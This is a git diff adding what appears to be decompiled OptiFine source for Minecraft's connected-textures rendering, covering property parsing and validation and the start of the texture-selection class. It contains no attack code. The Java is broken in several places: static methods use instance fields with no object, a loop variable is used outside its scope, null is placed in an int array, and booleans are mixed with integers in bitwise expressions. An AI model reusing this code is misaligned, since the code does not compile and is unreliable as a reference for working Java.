+      String faceStr = faceStrs[i];
+      int faceMask = parseFace(faceStr);
+      facesMask |= faceMask;
+    }
+    
+    return facesMask;
+  }
+  
+
+  private static int parseFace(String str)
+  {
+    str = str.toLowerCase();
+    
+    if ((!str.equals("bottom")) && (!str.equals("down")))
+    {
+      if ((!str.equals("top")) && (!str.equals("up")))
+      {
+        if (str.equals("north"))
+        {
+          return 4;
+        }
+        if (str.equals("south"))
+        {
+          return 8;
+        }
+        if (str.equals("east"))
+        {
+          return 32;
+        }
+        if (str.equals("west"))
+        {
+          return 16;
+        }
+        if (str.equals("sides"))
+        {
+          return 60;
+        }
+        if (str.equals("all"))
+        {
+          return 63;
+        }
+        
+
+        Config.warn("Unknown face: " + str);
+        return 128;
+      }
+      
+
+
+      return 2;
+    }
+    
+
+
+    return 1;
+  }
+  
+
+  private static int parseConnect(String str)
+  {
+    if (str == null)
+    {
+      return 0;
+    }
+    if (str.equals("block"))
+    {
+      return 1;
+    }
+    if (str.equals("tile"))
+    {
+      return 2;
+    }
+    if (str.equals("material"))
+    {
+      return 3;
+    }
+    
+
+    Config.warn("Unknown connect: " + str);
+    return 128;
+  }
+  
+
+  public static IProperty getProperty(String key, Collection properties)
+  {
+    Iterator it = properties.iterator();
+    
+    IProperty prop;
+    do
+    {
+      if (!it.hasNext())
+      {
+        return null;
+      }
+      
+      prop = (IProperty)it.next();
+    }
+    while (!key.equals(prop.getName()));
+    
+    return prop;
+  }
+  
+  private static int parseMethod(String str)
+  {
+    if (str == null)
+    {
+      return 1;
+    }
+    if ((!str.equals("ctm")) && (!str.equals("glass")))
+    {
+      if ((!str.equals("horizontal")) && (!str.equals("bookshelf")))
+      {
+        if (str.equals("vertical"))
+        {
+          return 6;
+        }
+        if (str.equals("top"))
+        {
+          return 3;
+        }
+        if (str.equals("random"))
+        {
+          return 4;
+        }
+        if (str.equals("repeat"))
+        {
+          return 5;
+        }
+        if (str.equals("fixed"))
+        {
+          return 7;
+        }
+        if ((!str.equals("horizontal+vertical")) && (!str.equals("h+v")))
+        {
+          if ((!str.equals("vertical+horizontal")) && (!str.equals("v+h")))
+          {
+            Config.warn("Unknown method: " + str);
+            return 0;
+          }
+          
+
+          return 9;
+        }
+        
+
+
+        return 8;
+      }
+      
+
+
+      return 2;
+    }
+    
+
+
+    return 1;
+  }
+  
+
+  public boolean isValid(String path)
+  {
+    if ((name != null) && (name.length() > 0))
+    {
+      if (basePath == null)
+      {
+        Config.warn("No base path found: " + path);
+        return false;
+      }
+      
+
+      if (matchBlocks == null)
+      {
+        matchBlocks = detectMatchBlocks();
+      }
+      
+      if ((matchTiles == null) && (matchBlocks == null))
+      {
+        matchTiles = detectMatchTiles();
+      }
+      
+      if ((matchBlocks == null) && (matchTiles == null))
+      {
+        Config.warn("No matchBlocks or matchTiles specified: " + path);
+        return false;
+      }
+      if (method == 0)
+      {
+        Config.warn("No method: " + path);
+        return false;
+      }
+      if ((tiles != null) && (tiles.length > 0))
+      {
+        if (connect == 0)
+        {
+          connect = detectConnect();
+        }
+        
+        if (connect == 128)
+        {
+          Config.warn("Invalid connect in: " + path);
+          return false;
+        }
+        if (renderPass > 0)
+        {
+          Config.warn("Render pass not supported: " + renderPass);
+          return false;
+        }
+        if ((faces & 0x80) != 0)
+        {
+          Config.warn("Invalid faces in: " + path);
+          return false;
+        }
+        if ((symmetry & 0x80) != 0)
+        {
+          Config.warn("Invalid symmetry in: " + path);
+          return false;
+        }
+        
+
+        switch (method)
+        {
+        case 1: 
+          return isValidCtm(path);
+        
+        case 2: 
+          return isValidHorizontal(path);
+        
+        case 3: 
+          return isValidTop(path);
+        
+        case 4: 
+          return isValidRandom(path);
+        
+        case 5: 
+          return isValidRepeat(path);
+        
+        case 6: 
+          return isValidVertical(path);
+        
+        case 7: 
+          return isValidFixed(path);
+        
+        case 8: 
+          return isValidHorizontalVertical(path);
+        
+        case 9: 
+          return isValidVerticalHorizontal(path);
+        }
+        
+        Config.warn("Unknown method: " + path);
+        return false;
+      }
+      
+
+
+
+      Config.warn("No tiles specified: " + path);
+      return false;
+    }
+    
+
+
+
+    Config.warn("No name found: " + path);
+    return false;
+  }
+  
+
+  private int detectConnect()
+  {
+    return matchTiles != null ? 2 : matchBlocks != null ? 1 : 128;
+  }
+  
+  private MatchBlock[] detectMatchBlocks()
+  {
+    int[] ids = detectMatchBlockIds();
+    
+    if (ids == null)
+    {
+      return null;
+    }
+    
+
+    MatchBlock[] mbs = new MatchBlock[ids.length];
+    
+    for (int i = 0; i < mbs.length; i++)
+    {
+      mbs[i] = new MatchBlock(ids[i]);
+    }
+    
+    return mbs;
+  }
+  
+
+  private int[] detectMatchBlockIds()
+  {
+    if (!name.startsWith("block"))
+    {
+      return null;
+    }
+    
+
+    int startPos = "block".length();
+    
+
+    for (int pos = startPos; pos < name.length(); pos++)
+    {
+      char idStr = name.charAt(pos);
+      
+      if ((idStr < '0') || (idStr > '9')) {
+        break;
+      }
+    }
+    
+
+    if (pos == startPos)
+    {
+      return null;
+    }
+    
+
+    String var5 = name.substring(startPos, pos);
+    int id = Config.parseInt(var5, -1);
+    return new int[] { id < 0 ? null : id };
+  }
+  
+
+
+  private String[] detectMatchTiles()
+  {
+    TextureAtlasSprite icon = getIcon(name);
+    return new String[] { icon == null ? null : name };
+  }
+  
+  private static TextureAtlasSprite getIcon(String iconName)
+  {
+    TextureMap textureMapBlocks = Minecraft.getMinecraft().getTextureMapBlocks();
+    TextureAtlasSprite icon = textureMapBlocks.getSpriteSafe(iconName);
+    
+    if (icon != null)
+    {
+      return icon;
+    }
+    
+
+    icon = textureMapBlocks.getSpriteSafe("blocks/" + iconName);
+    return icon;
+  }
+  
+
+  private boolean isValidCtm(String path)
+  {
+    if (tiles == null)
+    {
+      tiles = parseTileNames("0-11 16-27 32-43 48-58");
+    }
+    
+    if (tiles.length < 47)
+    {
+      Config.warn("Invalid tiles, must be at least 47: " + path);
+      return false;
+    }
+    
+
+    return true;
+  }
+  
+
+  private boolean isValidHorizontal(String path)
+  {
+    if (tiles == null)
+    {
+      tiles = parseTileNames("12-15");
+    }
+    
+    if (tiles.length != 4)
+    {
+      Config.warn("Invalid tiles, must be exactly 4: " + path);
+      return false;
+    }
+    
+
+    return true;
+  }
+  
+
+  private boolean isValidVertical(String path)
+  {
+    if (tiles == null)
+    {
+      Config.warn("No tiles defined for vertical: " + path);
+      return false;
+    }
+    if (tiles.length != 4)
+    {
+      Config.warn("Invalid tiles, must be exactly 4: " + path);
+      return false;
+    }
+    
+
+    return true;
+  }
+  
+
+  private boolean isValidHorizontalVertical(String path)
+  {
+    if (tiles == null)
+    {
+      Config.warn("No tiles defined for horizontal+vertical: " + path);
+      return false;
+    }
+    if (tiles.length != 7)
+    {
+      Config.warn("Invalid tiles, must be exactly 7: " + path);
+      return false;
+    }
+    
+
+    return true;
+  }
+  
+
+  private boolean isValidVerticalHorizontal(String path)
+  {
+    if (tiles == null)
+    {
+      Config.warn("No tiles defined for vertical+horizontal: " + path);
+      return false;
+    }
+    if (tiles.length != 7)
+    {
+      Config.warn("Invalid tiles, must be exactly 7: " + path);
+      return false;
+    }
+    
+
+    return true;
+  }
+  
+
+  private boolean isValidRandom(String path)
+  {
+    if ((tiles != null) && (tiles.length > 0))
+    {
+      if (weights != null)
+      {
+
+
+        if (weights.length > tiles.length)
+        {
+          Config.warn("More weights defined than tiles, trimming weights: " + path);
+          int[] sum = new int[tiles.length];
+          System.arraycopy(weights, 0, sum, 0, sum.length);
+          weights = sum;
+        }
+        
+
+
+        if (weights.length < tiles.length)
+        {
+          Config.warn("Less weights defined than tiles, expanding weights: " + path);
+          int[] sum = new int[tiles.length];
+          System.arraycopy(weights, 0, sum, 0, weights.length);
+          int i = MathUtils.getAverage(weights);
+          
+          for (int i1 = weights.length; i1 < sum.length; i1++)
+          {
+            sum[i1] = i;
+          }
+          
+          weights = sum;
+        }
+        
+        sumWeights = new int[weights.length];
+        int var5 = 0;
+        
+        for (int i = 0; i < weights.length; i++)
+        {
+          var5 += weights[i];
+          sumWeights[i] = var5;
+        }
+        
+        sumAllWeights = var5;
+        
+        if (sumAllWeights <= 0)
+        {
+          Config.warn("Invalid sum of all weights: " + var5);
+          sumAllWeights = 1;
+        }
+      }
+      
+      return true;
+    }
+    
+
+    Config.warn("Tiles not defined: " + path);
+    return false;
+  }
+  
+
+  private boolean isValidRepeat(String path)
+  {
+    if (tiles == null)
+    {
+      Config.warn("Tiles not defined: " + path);
+      return false;
+    }
+    if ((width > 0) && (width <= 16))
+    {
+      if ((height > 0) && (height <= 16))
+      {
+        if (tiles.length != width * height)
+        {
+          Config.warn("Number of tiles does not equal width x height: " + path);
+          return false;
+        }
+        
+
+        return true;
+      }
+      
+
+
+      Config.warn("Invalid height: " + path);
+      return false;
+    }
+    
+
+
+    Config.warn("Invalid width: " + path);
+    return false;
+  }
+  
+
+  private boolean isValidFixed(String path)
+  {
+    if (tiles == null)
+    {
+      Config.warn("Tiles not defined: " + path);
+      return false;
+    }
+    if (tiles.length != 1)
+    {
+      Config.warn("Number of tiles should be 1 for method: fixed.");
+      return false;
+    }
+    
+
+    return true;
+  }
+  
+
+  private boolean isValidTop(String path)
+  {
+    if (tiles == null)
+    {
+      tiles = parseTileNames("66");
+    }
+    
+    if (tiles.length != 1)
+    {
+      Config.warn("Invalid tiles, must be exactly 1: " + path);
+      return false;
+    }
+    
+
+    return true;
+  }
+  
+
+  public void updateIcons(TextureMap textureMap)
+  {
+    if (matchTiles != null)
+    {
+      matchTileIcons = registerIcons(matchTiles, textureMap);
+    }
+    
+    if (tiles != null)
+    {
+      tileIcons = registerIcons(tiles, textureMap);
+    }
+  }
+  
+  private static TextureAtlasSprite[] registerIcons(String[] tileNames, TextureMap textureMap)
+  {
+    if (tileNames == null)
+    {
+      return null;
+    }
+    
+
+    ArrayList iconList = new ArrayList();
+    
+    for (int icons = 0; icons < tileNames.length; icons++)
+    {
+      String iconName = tileNames[icons];
+      ResourceLocation resLoc = new ResourceLocation(iconName);
+      String domain = resLoc.getResourceDomain();
+      String path = resLoc.getResourcePath();
+      
+      if (!path.contains("/"))
+      {
+        path = "textures/blocks/" + path;
+      }
+      
+      String filePath = path + ".png";
+      ResourceLocation locFile = new ResourceLocation(domain, filePath);
+      boolean exists = Config.hasResource(locFile);
+      
+      if (!exists)
+      {
+        Config.warn("File not found: " + filePath);
+      }
+      
+      String prefixTextures = "textures/";
+      String pathSprite = path;
+      
+      if (path.startsWith(prefixTextures))
+      {
+        pathSprite = path.substring(prefixTextures.length());
+      }
+      
+      ResourceLocation locSprite = new ResourceLocation(domain, pathSprite);
+      TextureAtlasSprite icon = textureMap.func_174942_a(locSprite);
+      iconList.add(icon);
+    }
+    
+    TextureAtlasSprite[] var15 = (TextureAtlasSprite[])iconList.toArray(new TextureAtlasSprite[iconList.size()]);
+    return var15;
+  }
+  
+
+  public boolean matchesBlockId(int blockId)
+  {
+    return Matches.blockId(blockId, matchBlocks);
+  }
+  
+  public boolean matchesBlock(int blockId, int metadata)
+  {
+    return !Matches.block(blockId, metadata, matchBlocks) ? false : Matches.metadata(metadata, metadatas);
+  }
+  
+  public boolean matchesIcon(TextureAtlasSprite icon)
+  {
+    return Matches.sprite(icon, matchTileIcons);
+  }
+  
+  public String toString()
+  {
+    return "CTM name: " + name + ", basePath: " + basePath + ", matchBlocks: " + Config.arrayToString(matchBlocks) + ", matchTiles: " + Config.arrayToString(matchTiles);
+  }
+  
+  public boolean matchesBiome(BiomeGenBase biome)
+  {
+    return Matches.biome(biome, biomes);
+  }
+  
+  public int getMetadataMax()
+  {
+    byte max = -1;
+    int var4 = getMax(metadatas, max);
+    
+    if (matchBlocks != null)
+    {
+      for (int i = 0; i < matchBlocks.length; i++)
+      {
+        MatchBlock mb = matchBlocks[i];
+        var4 = getMax(mb.getMetadatas(), var4);
+      }
+    }
+    
+    return var4;
+  }
+  
+  private int getMax(int[] mds, int max)
+  {
+    if (mds == null)
+    {
+      return max;
+    }
+    
+
+    for (int i = 0; i < mds.length; i++)
+    {
+      int md = mds[i];
+      
+      if (md > max)
+      {
+        max = md;
+      }
+    }
+    
+    return max;
+  }
+}
diff --git a/src/minecraft/optifine/ConnectedTextures.java b/src/minecraft/optifine/ConnectedTextures.java
new file mode 100644
index 0000000..449b296
--- /dev/null
+++ b/src/minecraft/optifine/ConnectedTextures.java
@@ -0,0 +1,1597 @@
+package optifine;
+
+import java.io.FileNotFoundException;
+import java.io.InputStream;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Map;
+import java.util.Properties;
+import net.minecraft.block.Block;
+import net.minecraft.block.BlockPane;
+import net.minecraft.block.BlockQuartz;
+import net.minecraft.block.BlockRotatedPillar;
+import net.minecraft.block.state.BlockStateBase;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.renderer.BlockModelShapes;
+import net.minecraft.client.renderer.BlockRendererDispatcher;
+import net.minecraft.client.renderer.block.model.BakedQuad;
+import net.minecraft.client.renderer.texture.TextureAtlasSprite;
+import net.minecraft.client.renderer.texture.TextureMap;
+import net.minecraft.client.resources.IResourcePack;
+import net.minecraft.client.resources.model.IBakedModel;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.ResourceLocation;
+import net.minecraft.world.IBlockAccess;
+import net.minecraft.world.biome.BiomeGenBase;
+
+public class ConnectedTextures
+{
+  private static Map[] spriteQuadMaps = null;
+  private static ConnectedProperties[][] blockProperties = null;
+  private static ConnectedProperties[][] tileProperties = null;
+  private static boolean multipass = false;
+  private static final int Y_NEG_DOWN = 0;
+  private static final int Y_POS_UP = 1;
+  private static final int Z_NEG_NORTH = 2;
+  private static final int Z_POS_SOUTH = 3;
+  private static final int X_NEG_WEST = 4;
+  private static final int X_POS_EAST = 5;
+  private static final int Y_AXIS = 0;
+  private static final int Z_AXIS = 1;
+  private static final int X_AXIS = 2;
+  private static final String[] propSuffixes = { "", "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z" };
+  private static final int[] ctmIndexes = { 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 0, 0, 0, 0, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 0, 0, 0, 0, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 0, 0, 0, 0, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46 };
+  public static final IBlockState AIR_DEFAULT_STATE = net.minecraft.init.Blocks.air.getDefaultState();
+  private static TextureAtlasSprite emptySprite = null;
+  
+  public ConnectedTextures() {}
+  
+  public static synchronized BakedQuad getConnectedTexture(IBlockAccess blockAccess, IBlockState blockState, BlockPos blockPos, BakedQuad quad, RenderEnv renderEnv) { TextureAtlasSprite spriteIn = quad.getSprite();
+    
+    if (spriteIn == null)
+    {
+      return quad;
+    }
+    
+
+    Block block = blockState.getBlock();
+    EnumFacing side = quad.getFace();
+    
+    if (((block instanceof BlockPane)) && (spriteIn.getIconName().startsWith("minecraft:blocks/glass_pane_top")))
+    {
+      IBlockState sprite = blockAccess.getBlockState(blockPos.offset(quad.getFace()));
+      
+      if (sprite == blockState)
+      {
+        return getQuad(emptySprite, block, blockState, quad);
+      }
+    }
+    
+    TextureAtlasSprite sprite1 = getConnectedTextureMultiPass(blockAccess, blockState, blockPos, side, spriteIn, renderEnv);
+    return sprite1 == spriteIn ? quad : getQuad(sprite1, block, blockState, quad);
+  }
+  
+
+  private static BakedQuad getQuad(TextureAtlasSprite sprite, Block block, IBlockState blockState, BakedQuad quadIn)
+  {
+    if (spriteQuadMaps == null)
+    {
+      return quadIn;
+    }
+    
+
+    int spriteIndex = sprite.getIndexInMap();
+    
+    if ((spriteIndex >= 0) && (spriteIndex < spriteQuadMaps.length))
+    {
+      Object quadMap = spriteQuadMaps[spriteIndex];
+      
+      if (quadMap == null)
+      {
+        quadMap = new java.util.IdentityHashMap(1);
+        spriteQuadMaps[spriteIndex] = ((Map)quadMap);
+      }
+      
+      BakedQuad quad = (BakedQuad)((Map)quadMap).get(quadIn);
+      
+      if (quad == null)
+      {
+        quad = makeSpriteQuad(quadIn, sprite);
+        ((Map)quadMap).put(quadIn, quad);
+      }
+      
+      return quad;
+    }
+    
+
+    return quadIn;
+  }
+  
+
+
+  private static BakedQuad makeSpriteQuad(BakedQuad quad, TextureAtlasSprite sprite)
+  {
+    int[] data = (int[])quad.func_178209_a().clone();
+    TextureAtlasSprite spriteFrom = quad.getSprite();
+    
+    for (int bq = 0; bq < 4; bq++)
+    {
+      fixVertex(data, bq, spriteFrom, sprite);
+    }
+    
+    BakedQuad var5 = new BakedQuad(data, quad.func_178211_c(), quad.getFace(), sprite);
+    return var5;
+  }
+  
+  private static void fixVertex(int[] data, int vertex, TextureAtlasSprite spriteFrom, TextureAtlasSprite spriteTo)
+  {
+    int mul = data.length / 4;
+    int pos = mul * vertex;
+    float u = Float.intBitsToFloat(data[(pos + 4)]);
+    float v = Float.intBitsToFloat(data[(pos + 4 + 1)]);
+    double su16 = spriteFrom.getSpriteU16(u);
+    double sv16 = spriteFrom.getSpriteV16(v);
+    data[(pos + 4)] = Float.floatToRawIntBits(spriteTo.getInterpolatedU(su16));
+    data[(pos + 4 + 1)] = Float.floatToRawIntBits(spriteTo.getInterpolatedV(sv16));
+  }
+  
+  private static TextureAtlasSprite getConnectedTextureMultiPass(IBlockAccess blockAccess, IBlockState blockState, BlockPos blockPos, EnumFacing side, TextureAtlasSprite icon, RenderEnv renderEnv)
+  {
+    TextureAtlasSprite newIcon = getConnectedTextureSingle(blockAccess, blockState, blockPos, side, icon, true, renderEnv);
+    
+    if (!multipass)
+    {
+      return newIcon;
+    }
+    if (newIcon == icon)
+    {
+      return newIcon;
+    }
+    
+
+    TextureAtlasSprite mpIcon = newIcon;
+    
+    for (int i = 0; i < 3; i++)
+    {
+      TextureAtlasSprite newMpIcon = getConnectedTextureSingle(blockAccess, blockState, blockPos, side, mpIcon, false, renderEnv);
+      
+      if (newMpIcon == mpIcon) {
+        break;
+      }
+      
+
+      mpIcon = newMpIcon;
+    }
+    
+    return mpIcon;
+  }
+  
+
+  public static TextureAtlasSprite getConnectedTextureSingle(IBlockAccess blockAccess, IBlockState blockState, BlockPos blockPos, EnumFacing facing, TextureAtlasSprite icon, boolean checkBlocks, RenderEnv renderEnv)
+  {
+    Block block = blockState.getBlock();
+    
+    if (!(blockState instanceof BlockStateBase))
+    {
+      return icon;
+    }
+    
+
+    BlockStateBase blockStateBase = (BlockStateBase)blockState;
+    
+
+
+
+
+
+
+    if (tileProperties != null)
+    {
+      int blockId = icon.getIndexInMap();
+      
+      if ((blockId >= 0) && (blockId < tileProperties.length))
+      {
+        ConnectedProperties[] cps = tileProperties[blockId];
+        
+        if (cps != null)
+        {
+          int side = getSide(facing);
+          
+          for (int i = 0; i < cps.length; i++)
+          {
+            ConnectedProperties cp = cps[i];
+            
+            if ((cp != null) && (cp.matchesBlockId(blockStateBase.getBlockId())))
+            {
+              TextureAtlasSprite newIcon = getConnectedTexture(cp, blockAccess, blockStateBase, blockPos, side, icon, renderEnv);
+              
+              if (newIcon != null)
+              {
+                return newIcon;
+              }
+            }
+          }
+        }
+      }
+    }
+    
+    if ((blockProperties != null) && (checkBlocks))
+    {
+      int blockId = renderEnv.getBlockId();
+      
+      if ((blockId >= 0) && (blockId < blockProperties.length))
+      {
+        ConnectedProperties[] cps = blockProperties[blockId];
+        
+        if (cps != null)
+        {
+          int side = getSide(facing);
+          
+          for (int i = 0; i < cps.length; i++)
+          {
+            ConnectedProperties cp = cps[i];
+            
+            if ((cp != null) && (cp.matchesIcon(icon)))
+            {
+              TextureAtlasSprite newIcon = getConnectedTexture(cp, blockAccess, blockStateBase, blockPos, side, icon, renderEnv);
+              
+              if (newIcon != null)
+              {
+                return newIcon;
+              }
+            }
+          }
+        }
+      }
+    }
+    
+    return icon;
+  }
+  
+
+  public static int getSide(EnumFacing facing)
+  {
+    if (facing == null)
+    {
+      return -1;
+    }
+    
+
+    switch (NamelessClass379831726.$SwitchMap$net$minecraft$util$EnumFacing[facing.ordinal()])
+    {
+    case 1: 
+      return 0;
+    
+    case 2: 
+      return 1;
+    
+    case 3: 
+      return 5;
+    
+    case 4: 
+      return 4;
+    
+    case 5: 
+      return 2;
+    
+    case 6: 
+      return 3;
+    }
+    
+    return -1;
+  }
+  
+
+
+  private static EnumFacing getFacing(int side)
+  {
+    switch (side)
+    {
+    case 0: 
+      return EnumFacing.DOWN;
+    
+    case 1: 
+      return EnumFacing.UP;
+    
+    case 2: 
+      return EnumFacing.NORTH;
+    
+    case 3: 
+      return EnumFacing.SOUTH;
+    
+    case 4: 
+      return EnumFacing.WEST;
+    
+    case 5: 
+      return EnumFacing.EAST;
+    }
+    
+    return EnumFacing.UP;
+  }
+  
+
+  private static TextureAtlasSprite getConnectedTexture(ConnectedProperties cp, IBlockAccess blockAccess, BlockStateBase blockState, BlockPos blockPos, int side, TextureAtlasSprite icon, RenderEnv renderEnv)
+  {
+    int vertAxis = 0;
+    int metadata = blockState.getMetadata();
+    int metadataCheck = metadata;
+    Block block = blockState.getBlock();
+    
+    if ((block instanceof BlockRotatedPillar))
+    {
+      vertAxis = getWoodAxis(side, metadata);
+      
+      if (cp.getMetadataMax() <= 3)
+      {
+        metadataCheck = metadata & 0x3;
+      }
+    }
+    
+    if ((block instanceof BlockQuartz))
+    {
+      vertAxis = getQuartzAxis(side, metadata);
+      
+      if ((cp.getMetadataMax() <= 2) && (metadataCheck > 2))
+      {
+        metadataCheck = 2;
+      }
+    }
+    
+    if (!cp.matchesBlock(blockState.getBlockId(), metadataCheck))
+    {
+      return null;
+    }
+    
+
+
+
+    if ((side >= 0) && (faces != 63))
+    {
+      int y = side;
+      
+      if (vertAxis != 0)
+      {
+        y = fixSideByAxis(side, vertAxis);
+      }
+      
+      if ((1 << y & faces) == 0)
+      {
+        return null;
+      }
+    }
+    
+    int y = blockPos.getY();
+    
+    if ((y >= minHeight) && (y <= maxHeight))
+    {
+      if (biomes != null)
+      {
+        BiomeGenBase blockBiome = blockAccess.getBiomeGenForCoords(blockPos);
+        
+        if (!cp.matchesBiome(blockBiome))
+        {
+          return null;
+        }
+      }
+      
+      switch (method)
+      {
+      case 1: 
+        return getConnectedTextureCtm(cp, blockAccess, blockState, blockPos, vertAxis, side, icon, metadata, renderEnv);
+      
+      case 2: 
+        return getConnectedTextureHorizontal(cp, blockAccess, blockState, blockPos, vertAxis, side, icon, metadata);
+      
+      case 3: 
+        return getConnectedTextureTop(cp, blockAccess, blockState, blockPos, vertAxis, side, icon, metadata);
+      
+      case 4: 
+        return getConnectedTextureRandom(cp, blockPos, side);
+      
+      case 5: 
+        return getConnectedTextureRepeat(cp, blockPos, side);
+      
+      case 6: 
+        return getConnectedTextureVertical(cp, blockAccess, blockState, blockPos, vertAxis, side, icon, metadata);
+      
+      case 7: 
+        return getConnectedTextureFixed(cp);
+      
+      case 8: 
+        return getConnectedTextureHorizontalVertical(cp, blockAccess, blockState, blockPos, vertAxis, side, icon, metadata);
+      
+      case 9: 
+        return getConnectedTextureVerticalHorizontal(cp, blockAccess, blockState, blockPos, vertAxis, side, icon, metadata);
+      }
+      
+      return null;
+    }
+    
+
+
+    return null;
+  }
+  
+
+
+  private static int fixSideByAxis(int side, int vertAxis)
+  {
+    switch (vertAxis)
+    {
+    case 0: 
+      return side;
+    
+    case 1: 
+      switch (side)
+      {
+      case 0: 
+        return 2;
+      
+      case 1: 
+        return 3;
+      
+      case 2: 
+        return 1;
+      
+      case 3: 
+        return 0;
+      }
+      
+      return side;
+    
+
+    case 2: 
+      switch (side)
+      {
+      case 0: 
+        return 4;
+      
+      case 1: 
+        return 5;
+      
+      case 2: 
+      case 3: 
+      default: 
+        return side;
+      
+      case 4: 
+        return 1;
+      }
+      
+      return 0;
+    }
+    
+    
+    return side;
+  }
+  
+
+  private static int getWoodAxis(int side, int metadata)
+  {
+    int orient = (metadata & 0xC) >> 2;
+    
+    switch (orient)
+    {
+    case 1: 
+      return 2;
+    
+    case 2: 
+      return 1;
+    }
+    
+    return 0;
+  }
+  
+
+  private static int getQuartzAxis(int side, int metadata)
+  {
+    switch (metadata)
+    {
+    case 3: 
+      return 2;
+    
+    case 4: 
+      return 1;
+    }
+    
+    return 0;
+  }
+  
+
+  private static TextureAtlasSprite getConnectedTextureRandom(ConnectedProperties cp, BlockPos blockPos, int side)
+  {
+    if (tileIcons.length == 1)
+    {
+      return tileIcons[0];
+    }
+    
+
+    int face = side / symmetry * symmetry;
+    int rand = Config.getRandom(blockPos, face) & 0x7FFFFFFF;
+    int index = 0;
+    
+    if (weights == null)
+    {
+      index = rand % tileIcons.length;
+    }
+    else
+    {
+      int randWeight = rand % sumAllWeights;
+      int[] sumWeights = cp.sumWeights;
+      
+      for (int i = 0; i < sumWeights.length; i++)
+      {
+        if (randWeight < sumWeights[i])
+        {
+          index = i;
+          break;
+        }
+      }
+    }
+    
+    return tileIcons[index];
+  }
+  
+
+  private static TextureAtlasSprite getConnectedTextureFixed(ConnectedProperties cp)
+  {
+    return tileIcons[0];
+  }
+  
+  private static TextureAtlasSprite getConnectedTextureRepeat(ConnectedProperties cp, BlockPos blockPos, int side)
+  {
+    if (tileIcons.length == 1)
+    {
+      return tileIcons[0];
+    }
+    
+
+    int x = blockPos.getX();
+    int y = blockPos.getY();
+    int z = blockPos.getZ();
+    int nx = 0;
+    int ny = 0;
+    
+    switch (side)
+    {
+    case 0: 
+      nx = x;
+      ny = z;
+      break;
+    
+    case 1: 
+      nx = x;
+      ny = z;
+      break;
+    
+    case 2: 
+      nx = -x - 1;
+      ny = -y;
+      break;
+    
+    case 3: 
+      nx = x;
+      ny = -y;
+      break;
+    
+    case 4: 
+      nx = z;
+      ny = -y;
+      break;
+    
+    case 5: 
+      nx = -z - 1;
+      ny = -y;
+    }
+    
+    nx = nx % width;
+    ny %= height;
+    
+    if (nx < 0)
+    {
+      nx += width;
+    }
+    
+    if (ny < 0)
+    {
+      ny += height;
+    }
+    
+    int index = ny * width + nx;
+    return tileIcons[index];
+  }
+  
+
+  private static TextureAtlasSprite getConnectedTextureCtm(ConnectedProperties cp, IBlockAccess blockAccess, IBlockState blockState, BlockPos blockPos, int vertAxis, int side, TextureAtlasSprite icon, int metadata, RenderEnv renderEnv)
+  {
+    boolean[] borders = renderEnv.getBorderFlags();
+    
+    switch (side)
+    {
+    case 0: 
+      borders[0] = isNeighbour(cp, blockAccess, blockState, blockPos.offsetWest(), side, icon, metadata);
+      borders[1] = isNeighbour(cp, blockAccess, blockState, blockPos.offsetEast(), side, icon, metadata);
+      borders[2] = isNeighbour(cp, blockAccess, blockState, blockPos.offsetNorth(), side, icon, metadata);
+      borders[3] = isNeighbour(cp, blockAccess, blockState, blockPos.offsetSouth(), side, icon, metadata);
+      break;
+    
+    case 1: 
+      borders[0] = isNeighbour(cp, blockAccess, blockState, blockPos.offsetWest(), side, icon, metadata);
+      borders[1] = isNeighbour(cp, blockAccess, blockState, blockPos.offsetEast(), side, icon, metadata);
+      borders[2] = isNeighbour(cp, blockAccess, blockState, blockPos.offsetSouth(), side, icon, metadata);
+      borders[3] = isNeighbour(cp, blockAccess, blockState, blockPos.offsetNorth(), side, icon, metadata);
+      break;
+    
+    case 2: 
+      borders[0] = isNeighbour(cp, blockAccess, blockState, blockPos.offsetEast(), side, icon, metadata);
+      borders[1] = isNeighbour(cp, blockAccess, blockState, blockPos.offsetWest(), side, icon, metadata);
+      borders[2] = isNeighbour(cp, blockAccess, blockState, blockPos.offsetDown(), side, icon, metadata);
+      borders[3] = isNeighbour(cp, blockAccess, blockState, blockPos.offsetUp(), side, icon, metadata);
+      break;
+    
+    case 3: 
+      borders[0] = isNeighbour(cp, blockAccess, blockState, blockPos.offsetWest(), side, icon, metadata);
+      borders[1] = isNeighbour(cp, blockAccess, blockState, blockPos.offsetEast(), side, icon, metadata);
+      borders[2] = isNeighbour(cp, blockAccess, blockState, blockPos.offsetDown(), side, icon, metadata);
+      borders[3] = isNeighbour(cp, blockAccess, blockState, blockPos.offsetUp(), side, icon, metadata);
+      break;
+    
+    case 4: 
+      borders[0] = isNeighbour(cp, blockAccess, blockState, blockPos.offsetNorth(), side, icon, metadata);
+      borders[1] = isNeighbour(cp, blockAccess, blockState, blockPos.offsetSouth(), side, icon, metadata);
+      borders[2] = isNeighbour(cp, blockAccess, blockState, blockPos.offsetDown(), side, icon, metadata);
+      borders[3] = isNeighbour(cp, blockAccess, blockState, blockPos.offsetUp(), side, icon, metadata);
+      break;
+    
+    case 5: 
+      borders[0] = isNeighbour(cp, blockAccess, blockState, blockPos.offsetSouth(), side, icon, metadata);
+      borders[1] = isNeighbour(cp, blockAccess, blockState, blockPos.offsetNorth(), side, icon, metadata);
+      borders[2] = isNeighbour(cp, blockAccess, blockState, blockPos.offsetDown(), side, icon, metadata);
+      borders[3] = isNeighbour(cp, blockAccess, blockState, blockPos.offsetUp(), side, icon, metadata);
+    }
+    
+    byte index = 0;
+    
+    if ((borders[0] & (borders[1] != 0 ? 0 : 1) & (borders[2] != 0 ? 0 : 1) & (borders[3] != 0 ? 0 : 1)) != 0)
+    {
+      index = 3;
+    }
+    else if (((borders[0] != 0 ? 0 : 1) & borders[1] & (borders[2] != 0 ? 0 : 1) & (borders[3] != 0 ? 0 : 1)) != 0)
+    {
+      index = 1;
+    }
+    else if (((borders[0] != 0 ? 0 : 1) & (borders[1] != 0 ? 0 : 1) & borders[2] & (borders[3] != 0 ? 0 : 1)) != 0)
+    {
